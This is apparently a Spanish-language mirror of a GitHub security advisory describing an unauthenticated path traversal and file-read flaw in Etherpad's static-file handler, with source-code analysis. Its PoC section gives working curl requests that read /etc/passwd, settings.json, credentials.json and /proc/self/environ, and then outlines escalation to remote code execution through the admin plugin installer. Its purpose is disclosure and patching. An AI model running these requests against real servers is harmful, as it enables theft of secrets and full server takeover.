GHSA-MC8W-WJHW-45X5
Etherpad: lectura arbitraria de archivos sin autenticación previa
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Monitoreo | Detectada | Ingresó al índice | |
| Divulgación | Publicada | GHSA-MC8W-WJHW-45X5 divulgada · CVSS 9.8 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Fuente: GitHub Security Advisories | Registro visto por primera vez en GitHub Security Advisories | |
| Monitoreo | Fuente: OSV | Registro visto por primera vez en OSV | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Resumen
Una vulnerabilidad de recorrido de rutas (path traversal) y lectura arbitraria de archivos en el manejador `/static/*` de Etherpad permite a cualquier usuario remoto no autenticado leer cualquier archivo del sistema de archivos del servidor que sea legible por el usuario que ejecuta el software de Etherpad (por ejemplo, `GET /static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cetc/passwd` devuelve `/etc/passwd`). Como el endpoint se monta antes del middleware de autenticación, no se requieren credenciales, sesión ni cambios de configuración. La primitiva de lectura puede escalar a un compromiso total del servidor: en una implementación típica, al divulgar `settings.json`, `credentials.json` o `/proc/self/environ`, que contienen la contraseña de administrador, lo que permite al atacante obtener una sesión de administrador y, mediante el instalador de plugins de administración, ejecución remota de código.
Detalles
Etherpad sirve los recursos estáticos de los plugins mediante `src/node/utils/Minify.ts`. La ruta de la solicitud pasa primero por el sanitizador canónico `src/node/utils/sanitizePathname.ts`, que solo convierte barras invertidas en barras normales en Windows:
// src/node/utils/sanitizePathname.ts:11-20
p = pathApi.normalize(p);
if (pathApi.isAbsolute(p)) throw new Error(`absolute paths are forbidden: ${p}`);
if (p.split(pathApi.sep)[0] === '..') throw new Error(`directory traversal: ${p}`);
// THIS CONVERSION MUST ONLY BE DONE ON WINDOWS, otherwise on POSIXish systems '..\\' in the input
// pathname would not be normalized away before being converted to '../'.
if (pathApi.sep === '\\') p = p.replace(/\\/g, '/');En Linux, la barra invertida es un byte ordinario de nombre de archivo, por lo que un segmento de entrada como `..\..\..\test` no contiene componentes de ruta `./` o `../` y supera todas las comprobaciones de `sanitizePathname` sin cambios. El propio conjunto de pruebas del proyecto lo confirma: `src/tests/backend-new/specs/sanitizePathname.ts:62` incluye `['posix', '..\\foo']` entre las rutas aceptadas (devueltas sin cambios).
La vulnerabilidad está en que `Minify.ts` aplica después del sanitizador esa conversión exclusiva de Windows, de forma incondicional, justificada por un comentario que afirma lo contrario de la premisa anterior:
// src/node/utils/Minify.ts:171-186
const match = filename.match(/^plugins\/([^/]+)(\/(?:(static\/.*)|.*))?$/);
if (match) {
const library = match[1];
const libraryPath = match[2] || '';
if (plugins.plugins[library] && match[3]) {
const plugin = plugins.plugins[library];
const pluginPath = plugin.package.realPath; // for 'ep_etherpad-lite' == <root>/src
filename = path.join(pluginPath, libraryPath); // -> absolute path, backslashes preserved
// ... "This conversion does not introduce a directory
// traversal vulnerability because all '..\\' substrings have already been removed by
// sanitizePathname." // <-- FALSE on POSIX
filename = filename.replace(/\\/g, '/'); // <-- reintroduces ../ AFTER the check
}Después de la línea 186, la cadena se convierte en un recorrido real (`<root>/src/static/../../../../etc/passwd`) sin renormalización ni comprobación de contención antes de las llamadas al sistema de archivos en `Minify.ts:248` (`fs.stat`) y `Minify.ts:315` (`fs.readFile`). Como `path.join` en la línea 179 produce una ruta absoluta, `path.resolve(ROOT_DIR, filename)` descarta por completo `ROOT_DIR`, y `path.resolve` en POSIX colapsa los `..` sobrantes en `/`, por lo que la carga útil no depende de la profundidad de la raíz.
La ruta es accesible antes de la autenticación. Se registra en el hook `expressPreSession`:
// src/ep.json
{ "name": "static", "hooks": { "expressPreSession": "ep_etherpad-lite/node/hooks/express/static" } }
// src/node/hooks/express/static.ts:38
app.all('/static/*filename', minify);Y `expressPreSession` se ejecuta antes del middleware de autenticación:
// src/node/hooks/express.ts:244-247
await hooks.aCallAll('expressPreSession', {app, settings}); // static route registered here
app.use(exports.sessionMiddleware);
app.use(webaccess.checkAccess); // auth runs AFTERLa rama de plugins siempre se toma, porque `src/static/js/pluginfw/plugins.ts:153-158` registra incondicionalmente el pseudo-plugin principal `ep_etherpad-lite` con `package.realPath = <root>/src`.
Dos hechos sobre la decodificación hacen que el exploit funcione: Express 5 y path-to-regexp v8 decodifican los parámetros comodín segmento por segmento, una sola vez (`(v) => v.split('/').map(decodeURIComponent)`), de modo que `req.params.filename.join('/')` (`Minify.ts:147`) produce la ruta decodificada una vez que se pasa al sanitizador, y `%5C` (barra invertida codificada) es el único separador que funciona (`%2F` se decodifica a `/`, se vuelve a dividir y es rechazado por la comprobación `split('/')[0] === '..'`).
PoC
Aplica a una implementación de producción por defecto (sin configuración especial; funciona en Linux, por ejemplo con la imagen de Docker o con una instalación desde código fuente gestionada por systemd). Sustituya `TARGET:9001` por la instancia objetivo.
- Leer `/etc/passwd` (o cualquier archivo) sin autenticación. `--path-as-is` evita que el cliente simplifique el recorrido:
curl --path-as-is \
'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cetc/passwd'Otras lecturas de alto valor (se excede la profundidad de `..`; se absorbe en `/`):
Contraseña de administrador y secretos, independiente de la raíz mediante `/proc/self/cwd`
curl --path-as-is 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/cwd/settings.json'
curl --path-as-is
'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/cwd/credentials.json'En implementaciones con docker-compose, la contraseña de administrador es una variable de entorno:
`curl --path-as-is 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/environ'`
Cada respuesta devuelve los bytes del archivo sin procesar (con una cabecera `Content-Type: false` inofensiva para objetivos sin extensión; Node convierte el valor y no lanza una excepción).
- Escalar a RCE. Recupere la credencial de administrador de los archivos leídos en el paso 1 y luego:
Obtener una sesión de administrador
curl -i -X POST 'http://TARGET:9001/admin-auth/' \
-H "Authorization: Basic $(printf 'admin:PASSWORD' | base64)"
# -> 200 + Set-Cookie: <prefix>express_sid=...Usando esa cookie `express_sid`, conéctese al espacio de nombres Socket.IO `/pluginfw/installer` (protegido únicamente por `session.user.is_admin`, `src/node/hooks/express/adminplugins.ts:22`) y emita `install` para un plugin `ep_*` controlado por el atacante. Etherpad ejecuta `require()` sobre el código del plugin dentro del mismo proceso durante `plugins.update()` (`src/static/js/pluginfw/shared.ts:30`), ejecutando código arbitrario como el usuario de Etherpad.
Impacto
- Tipo: limitación inapropiada de una ruta (pathname) que conduce a lectura arbitraria de archivos sin autenticación, con posibilidad de ejecución remota de código.
- Acceso requerido: ninguno. La ruta vulnerable se sirve antes del middleware de autenticación y autorización, por lo que puede explotarla cualquier cliente que alcance el puerto HTTP, independientemente de la configuración de `requireAuthentication`, `requireAuthorization` o `users`.
- Qué puede acceder un atacante: cualquier archivo legible por el usuario del proceso de Etherpad, incluidos `settings.json` y `credentials.json` (contraseña de administrador, `sessionKey`, credenciales de base de datos, secretos de cliente de SSO), `/proc/self/environ` (secretos suministrados por el entorno, como `ADMIN_PASSWORD` o `DB_PASS`), la base de datos de pads, las claves privadas TLS y archivos del sistema operativo como `/etc/passwd`.
- Escalamiento: la contraseña de administrador divulgada otorga una sesión de administrador; el instalador de plugins de administración proporciona después ejecución de código en el mismo proceso, es decir, la toma total del servidor. Incluso sin el paso del plugin, el acceso de administrador permite reescribir toda la configuración (`saveSettings` y `restartServer`) y exfiltrar todos los datos almacenados.
- Afectados: todo operador que ejecute una versión vulnerable, especialmente quienes expongan Etherpad directamente a redes no confiables. Un proxy inverso no mitiga el problema, porque el recorrido usa `%5C`, que los proxies reenvían sin cambios.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmep_etherpad-lite |
Sin parche | — | — | 1.8.14 afectada |
3.3.3Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/ether/etherpad/security/advisories/GHSA-mc8w-wjhw-45x5https://github.com/ether/etherpad/pull/8081https://github.com/ether/etherpad/commit/9c8d16d50e2fdfd9693ab35c43280410cb4db2fchttps://github.com/ether/etherpadLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
